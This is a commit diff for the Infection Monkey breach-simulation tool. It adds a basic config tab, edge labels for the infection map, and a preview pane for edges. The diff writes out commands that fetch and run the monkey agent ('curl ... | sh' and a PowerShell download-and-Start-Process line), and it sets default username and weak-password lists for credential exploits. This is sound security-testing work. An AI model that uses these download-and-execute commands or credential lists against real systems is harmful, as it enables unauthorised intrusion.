forked from p15670423/monkey
Add basic config tab
Add actual snippets for windows+linux 32/64 Add support for edges info in graph
This commit is contained in:
parent
385fa22b80
commit
41cc0202c5
|
@ -97,6 +97,64 @@ SCHEMA = {
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"properties": {
|
"properties": {
|
||||||
|
"basic": {
|
||||||
|
"title": "Basic",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"network": {
|
||||||
|
"title": "Network",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"blocked_ips": {
|
||||||
|
"title": "Blocked IPs",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
],
|
||||||
|
"description": "List of IPs to not scan"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"credentials": {
|
||||||
|
"title": "Credentials",
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"exploit_user_list": {
|
||||||
|
"title": "Exploit user list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"Administrator",
|
||||||
|
"root",
|
||||||
|
"user"
|
||||||
|
],
|
||||||
|
"description": "List of usernames to use on exploits using credentials"
|
||||||
|
},
|
||||||
|
"exploit_password_list": {
|
||||||
|
"title": "Exploit password list",
|
||||||
|
"type": "array",
|
||||||
|
"uniqueItems": True,
|
||||||
|
"items": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"default": [
|
||||||
|
"Password1!",
|
||||||
|
"1234",
|
||||||
|
"password",
|
||||||
|
"12345678"
|
||||||
|
],
|
||||||
|
"description": "List of password to use on exploits using credentials"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
"monkey": {
|
"monkey": {
|
||||||
"title": "Monkey",
|
"title": "Monkey",
|
||||||
"type": "object",
|
"type": "object",
|
||||||
|
@ -393,41 +451,6 @@ SCHEMA = {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"credentials": {
|
|
||||||
"title": "Credentials",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"exploit_user_list": {
|
|
||||||
"title": "Exploit user list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"Administrator",
|
|
||||||
"root",
|
|
||||||
"user"
|
|
||||||
],
|
|
||||||
"description": "List of usernames to use on exploits using credentials"
|
|
||||||
},
|
|
||||||
"exploit_password_list": {
|
|
||||||
"title": "Exploit password list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"Password1!",
|
|
||||||
"1234",
|
|
||||||
"password",
|
|
||||||
"12345678"
|
|
||||||
],
|
|
||||||
"description": "List of password to use on exploits using credentials"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"ms08_067": {
|
"ms08_067": {
|
||||||
"title": "MS08_067",
|
"title": "MS08_067",
|
||||||
"type": "object",
|
"type": "object",
|
||||||
|
@ -605,17 +628,6 @@ SCHEMA = {
|
||||||
"title": "General",
|
"title": "General",
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"properties": {
|
"properties": {
|
||||||
"blocked_ips": {
|
|
||||||
"title": "Blocked IPs",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
],
|
|
||||||
"description": "List of IPs to not scan"
|
|
||||||
},
|
|
||||||
"local_network_scan": {
|
"local_network_scan": {
|
||||||
"title": "Local network scan",
|
"title": "Local network scan",
|
||||||
"type": "boolean",
|
"type": "boolean",
|
||||||
|
|
|
@ -55,16 +55,13 @@ class EdgeService:
|
||||||
exploit_container["result"] = True
|
exploit_container["result"] = True
|
||||||
exploit_container["end_timestamp"] = new_exploit["timestamp"]
|
exploit_container["end_timestamp"] = new_exploit["timestamp"]
|
||||||
|
|
||||||
return \
|
displayed_edge = EdgeService.edge_to_net_edge(edge)
|
||||||
{
|
displayed_edge["ip_address"] = edge["ip_address"]
|
||||||
"id": edge["_id"],
|
displayed_edge["services"] = services
|
||||||
"from": edge["from"],
|
displayed_edge["os"] = os
|
||||||
"to": edge["to"],
|
displayed_edge["exploits"] = exploits
|
||||||
"ip_address": edge["ip_address"],
|
displayed_edge["_label"] = EdgeService.get_edge_label(displayed_edge)
|
||||||
"services": services,
|
return displayed_edge
|
||||||
"os": os,
|
|
||||||
"exploits": exploits
|
|
||||||
}
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def exploit_to_displayed_exploit(exploit):
|
def exploit_to_displayed_exploit(exploit):
|
||||||
|
@ -113,13 +110,15 @@ class EdgeService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def generate_pseudo_edge(edge_id, edge_from, edge_to):
|
def generate_pseudo_edge(edge_id, edge_from, edge_to):
|
||||||
return \
|
edge = \
|
||||||
{
|
{
|
||||||
"id": edge_id,
|
"id": edge_id,
|
||||||
"from": edge_from,
|
"from": edge_from,
|
||||||
"to": edge_to,
|
"to": edge_to,
|
||||||
"group": "island"
|
"group": "island"
|
||||||
}
|
}
|
||||||
|
edge["_label"] = EdgeService.get_edge_label(edge)
|
||||||
|
return edge
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_monkey_island_pseudo_edges():
|
def get_monkey_island_pseudo_edges():
|
||||||
|
@ -184,6 +183,22 @@ class EdgeService:
|
||||||
{"_id": edge["_id"]},
|
{"_id": edge["_id"]},
|
||||||
{"$set": {"exploited": True}}
|
{"$set": {"exploited": True}}
|
||||||
)
|
)
|
||||||
|
|
||||||
cc.services.node.NodeService.set_node_exploited(edge["to"])
|
cc.services.node.NodeService.set_node_exploited(edge["to"])
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_edge_label(edge):
|
||||||
|
NodeService = cc.services.node.NodeService
|
||||||
|
from_label = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))
|
||||||
|
to_id = NodeService.get_monkey_by_id(edge["to"])
|
||||||
|
if to_id is None:
|
||||||
|
to_label = NodeService.get_node_label(NodeService.get_node_by_id(edge["to"]))
|
||||||
|
else:
|
||||||
|
to_label = NodeService.get_monkey_label(to_id)
|
||||||
|
|
||||||
|
RIGHT_ARROW = unichr(8594)
|
||||||
|
return "%s %s %s" % (
|
||||||
|
from_label,
|
||||||
|
RIGHT_ARROW,
|
||||||
|
to_label)
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -85,7 +85,6 @@ class NodeService:
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_monkey_label(monkey):
|
def get_monkey_label(monkey):
|
||||||
label = monkey["hostname"] + " : " + monkey["ip_addresses"][0]
|
label = monkey["hostname"] + " : " + monkey["ip_addresses"][0]
|
||||||
|
|
|
@ -93,13 +93,12 @@ class MapPageComponent extends React.Component {
|
||||||
.then(res => this.setState({selected: res, selectedType: 'node'}));
|
.then(res => this.setState({selected: res, selectedType: 'node'}));
|
||||||
}
|
}
|
||||||
else if (event.edges.length === 1) {
|
else if (event.edges.length === 1) {
|
||||||
let edgeGroup = this.state.graph.edges.filter(
|
let displayedEdge = this.state.graph.edges.find(
|
||||||
function(edge) {
|
function(edge) {
|
||||||
return edge['id'] === event.edges[0];
|
return edge['id'] === event.edges[0];
|
||||||
})[0]['group'];
|
});
|
||||||
if (edgeGroup == 'island') {
|
if (displayedEdge['group'] == 'island') {
|
||||||
console.log('selection cleared.'); // eslint-disable-line no-console
|
this.setState({selected: displayedEdge, selectedType: 'island_edge'});
|
||||||
this.setState({selected: null, selectedType: null});
|
|
||||||
} else {
|
} else {
|
||||||
fetch('/api/netmap/edge?id='+event.edges[0])
|
fetch('/api/netmap/edge?id='+event.edges[0])
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
|
|
|
@ -30,8 +30,16 @@ class RunMonkeyPageComponent extends React.Component {
|
||||||
this.props.onStatusChange();
|
this.props.onStatusChange();
|
||||||
}
|
}
|
||||||
|
|
||||||
generateCmd(ip) {
|
generateLinuxCmd(ip, is32Bit) {
|
||||||
return `curl http://${ip}:5000/get-monkey | sh`;
|
let bitText = is32Bit ? '32' : '64';
|
||||||
|
return `curl http://${ip}:5000/api/monkey/download/monkey-linux-${bitText} | sh`;
|
||||||
|
}
|
||||||
|
|
||||||
|
generateWindowsCmd(ip, is32Bit) {
|
||||||
|
let bitText = is32Bit ? '32' : '64';
|
||||||
|
return `
|
||||||
|
PowerShell (New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe','monkey.exe');
|
||||||
|
Start-Process -FilePath 'monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`;
|
||||||
}
|
}
|
||||||
|
|
||||||
runLocalMonkey = () => {
|
runLocalMonkey = () => {
|
||||||
|
@ -50,6 +58,27 @@ class RunMonkeyPageComponent extends React.Component {
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
generateCmdDiv(ip, isLinux, is32Bit) {
|
||||||
|
let cmdText = "";
|
||||||
|
if (isLinux) {
|
||||||
|
cmdText = this.generateLinuxCmd(ip, is32Bit);
|
||||||
|
} else {
|
||||||
|
cmdText = this.generateWindowsCmd(ip, is32Bit);
|
||||||
|
}
|
||||||
|
return (
|
||||||
|
<Well className="well-sm" style={{'margin': '0.5em'}}>
|
||||||
|
<div style={{'overflow': 'auto', 'padding': '0.5em'}}>
|
||||||
|
<CopyToClipboard text={cmdText} className="pull-right btn-sm">
|
||||||
|
<Button style={{margin: '-0.5em'}} title="Copy to Clipboard">
|
||||||
|
<Icon name="clipboard"/>
|
||||||
|
</Button>
|
||||||
|
</CopyToClipboard>
|
||||||
|
<code>{cmdText}</code>
|
||||||
|
</div>
|
||||||
|
</Well>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
<Col xs={8}>
|
<Col xs={8}>
|
||||||
|
@ -83,18 +112,18 @@ class RunMonkeyPageComponent extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
<span className="text-muted">(The IP address is used as the monkey's C&C address)</span>
|
<span className="text-muted">(The IP address is used as the monkey's C&C address)</span>
|
||||||
</p>
|
</p>
|
||||||
<Well className="well-sm">
|
|
||||||
{this.state.ips.map(ip =>
|
{this.state.ips.map(ip =>
|
||||||
<div style={{'overflow': 'auto', 'padding': '0.5em'}}>
|
|
||||||
<CopyToClipboard text={this.generateCmd(ip)} className="pull-right btn-sm">
|
[
|
||||||
<Button style={{margin: '-0.5em'}} title="Copy to Clipboard">
|
this.generateCmdDiv(ip, true, true),
|
||||||
<Icon name="clipboard"/>
|
this.generateCmdDiv(ip, true, false),
|
||||||
</Button>
|
this.generateCmdDiv(ip, false, true),
|
||||||
</CopyToClipboard>
|
this.generateCmdDiv(ip, false, false)
|
||||||
<code>{this.generateCmd(ip)}</code>
|
]
|
||||||
</div>
|
|
||||||
)}
|
)}
|
||||||
</Well>
|
|
||||||
</div>
|
</div>
|
||||||
<p style={{'fontSize': '1.2em'}}>
|
<p style={{'fontSize': '1.2em'}}>
|
||||||
Go ahead and monitor the ongoing infection in the <Link to="/infection/map">Infection Map</Link> view.
|
Go ahead and monitor the ongoing infection in the <Link to="/infection/map">Infection Map</Link> view.
|
||||||
|
|
|
@ -30,6 +30,8 @@ class PreviewPaneComponent extends React.Component {
|
||||||
}
|
}
|
||||||
|
|
||||||
infectedAssetInfo(asset) {
|
infectedAssetInfo(asset) {
|
||||||
|
// TODO: Have exploit info expandable (show detailed attempts)
|
||||||
|
// TODO: consider showing scans with exploits on same timeline
|
||||||
return (
|
return (
|
||||||
<div>
|
<div>
|
||||||
{this.assetInfo(asset)}
|
{this.assetInfo(asset)}
|
||||||
|
@ -50,17 +52,54 @@ class PreviewPaneComponent extends React.Component {
|
||||||
}
|
}
|
||||||
|
|
||||||
infectionInfo(edge) {
|
infectionInfo(edge) {
|
||||||
return (
|
return this.scanInfo(edge);
|
||||||
<div>
|
|
||||||
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
scanInfo(edge) {
|
scanInfo(edge) {
|
||||||
return (
|
return (
|
||||||
<div>
|
<div>
|
||||||
|
<table className="table table-condensed">
|
||||||
|
<tbody>
|
||||||
|
<tr>
|
||||||
|
<th>Operating System</th>
|
||||||
|
<td>{edge.os.type}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>IP Address</th>
|
||||||
|
<td>{edge.ip_address}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>Services</th>
|
||||||
|
<td>{edge.services.map(val => <div key={val}>{val}</div>)}</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
|
||||||
|
<ul className="timeline">
|
||||||
|
{ edge.exploits.map(exploit =>
|
||||||
|
<li key={exploit.start_timestamp}>
|
||||||
|
<div className={'bullet ' + (exploit.result ? 'bad' : '')}></div>
|
||||||
|
<div>{exploit.start_timestamp}</div>
|
||||||
|
<div>{exploit.origin}</div>
|
||||||
|
<div>{exploit.exploiter}</div>
|
||||||
|
</li>
|
||||||
|
)}
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
islandEdgeInfo() {
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
<table className="table table-condensed">
|
||||||
|
<tbody>
|
||||||
|
<tr>
|
||||||
|
<th>Communicates directly with island</th>
|
||||||
|
<td>True</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
@ -71,13 +110,28 @@ class PreviewPaneComponent extends React.Component {
|
||||||
case 'edge':
|
case 'edge':
|
||||||
info = this.props.item.exploits.length ?
|
info = this.props.item.exploits.length ?
|
||||||
this.infectionInfo(this.props.item) : this.scanInfo(this.props.item);
|
this.infectionInfo(this.props.item) : this.scanInfo(this.props.item);
|
||||||
|
break;
|
||||||
case 'node':
|
case 'node':
|
||||||
info = this.props.item.exploits.some(exploit => exploit.result) ?
|
info = this.props.item.exploits.some(exploit => exploit.result) ?
|
||||||
this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item);
|
this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item);
|
||||||
|
break;
|
||||||
|
case 'island_edge':
|
||||||
|
info = this.islandEdgeInfo();
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let label = '';
|
||||||
|
if (!this.props.item) {
|
||||||
|
label = '';
|
||||||
|
} else if (this.props.item.hasOwnProperty('label')) {
|
||||||
|
label = this.props.item['label'];
|
||||||
|
} else if (this.props.item.hasOwnProperty('_label')) {
|
||||||
|
label = this.props.item['_label'];
|
||||||
|
}
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="preview-pane">
|
<div className="preview-pane">
|
||||||
{ !this.props.item ?
|
{ !info ?
|
||||||
<span>
|
<span>
|
||||||
<Icon name="hand-o-left" style={{'marginRight': '0.5em'}}></Icon>
|
<Icon name="hand-o-left" style={{'marginRight': '0.5em'}}></Icon>
|
||||||
Select an item on the map for a preview
|
Select an item on the map for a preview
|
||||||
|
@ -85,7 +139,7 @@ class PreviewPaneComponent extends React.Component {
|
||||||
:
|
:
|
||||||
<div>
|
<div>
|
||||||
<h3>
|
<h3>
|
||||||
<b>{this.props.item.label}</b>
|
{label}
|
||||||
</h3>
|
</h3>
|
||||||
|
|
||||||
<hr/>
|
<hr/>
|
||||||
|
|
Loading…
Reference in New Issue